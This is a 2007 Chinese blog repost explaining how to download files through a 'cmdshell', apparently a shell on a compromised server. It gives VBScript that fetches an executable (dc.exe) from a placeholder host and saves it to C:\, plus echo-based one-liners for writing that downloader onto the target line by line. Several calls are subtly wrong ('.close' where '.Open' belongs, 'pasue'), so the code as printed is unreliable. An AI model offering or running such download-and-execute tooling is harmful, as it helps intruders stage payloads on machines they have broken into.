侧边栏壁纸
博主头像
ayou

中年互联网混子,现居苏州,曾经技术型宅男一个,
爱好吃,爱好睡,体制外,爱岗敬业,
遵纪守法,头发短,见识短,伪Geek,毫无城府。

  • 累计撰写 1591 篇文章
  • 累计收到 12 条评论

【转】如何用cmd下载文件

2007-3-26 / 0 评论 / 1409 阅读
温馨提示:
本文最后更新于 2007-3-26,已超过半年没有更新,若内容或图片失效,请留言反馈。

前一阵子朋友拿着cmdshell问我如何下载文件到上面,这不在这发表出来.
Set xPost = createObject("Microsoft.XMLHTTP")
xPost.close "GET","http://www.xx.com/dc.exe",0 '下载文件的地址
xPost.Send()
Set sGet = createObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.close()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\dc.exe",2 '保存文件的路径和文件名
把以上代码保存在xx.vbs文件 执行cmd.exe xx.vbs

使用ECHO方法写入
echo Set xPost = createObject("Microsoft.XMLHTTP") >dc.vbs
echo xPost.close "GET",http://www.xxx.com/dc.exe,0 >>dc.vbs
echo xPost.Send() >>dc.vbs
echo Set sGet = createObject("ADODB.Stream") >>dc.vbs
echo sGet.Mode = 3 >>dc.vbs
echo sGet.Type = 1 >>dc.vbs
echo sGet.close() >>dc.vbs
echo sGet.Write(xPost.responseBody) >>dc.vbs
echo sGet.SaveToFile "c:\dc.exe",2 >>dc.vbs

===================带参数的WGET.vbs==========
on error resume next
iLocal=LCase(Wscript.Arguments(1))
iRemote=LCase(Wscript.Arguments(0))
Set xPost=createObject("Microsoft.XMLHTTP")
xPost.close "GET",iRemote,0
xPost.Send()
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.close()
sGet.Write xPost.ResponseBody
sGet.SaveToFile iLocal,2
===================带参数的WGET.vbs==========

===================带参数的WGET.vbs==========
echo on
echo on error resume next >dc.vbs
echo iLocal=LCase(Wscript.Arguments(1))>>dc.vbs
echo iRemote=LCase(Wscript.Arguments(0))>>dc.vbs
echo Set xPost=createObject("Microsoft.XMLHTTP")>>dc.vbs
echo xPost.close "GET",iRemote,0>>dc.vbs
echo xPost.Send()>>dc.vbs
echo set sGet=createObject("ADODB.Stream")>>dc.vbs
echo sGet.Mode=3>>dc.vbs
echo sGet.Type=1>>dc.vbs
echo sGet.close()>>dc.vbs
echo sGet.Write xPost.ResponseBody>>dc.vbs
echo sGet.SaveToFile iLocal,2>>dc.vbs
echo off
pasue
===================带参数的WGET.vbs==========

1.iget.vbs一次写入
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写

Set x= createObject("Microsoft.XMLHTTP"):x.close "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.close():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2

这样我们可以一次echo成功,echo版本:

echo Set x= createObject(^"Microsoft.XMLHTTP^"):x.close ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.close():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs

评论一下?

OωO
取消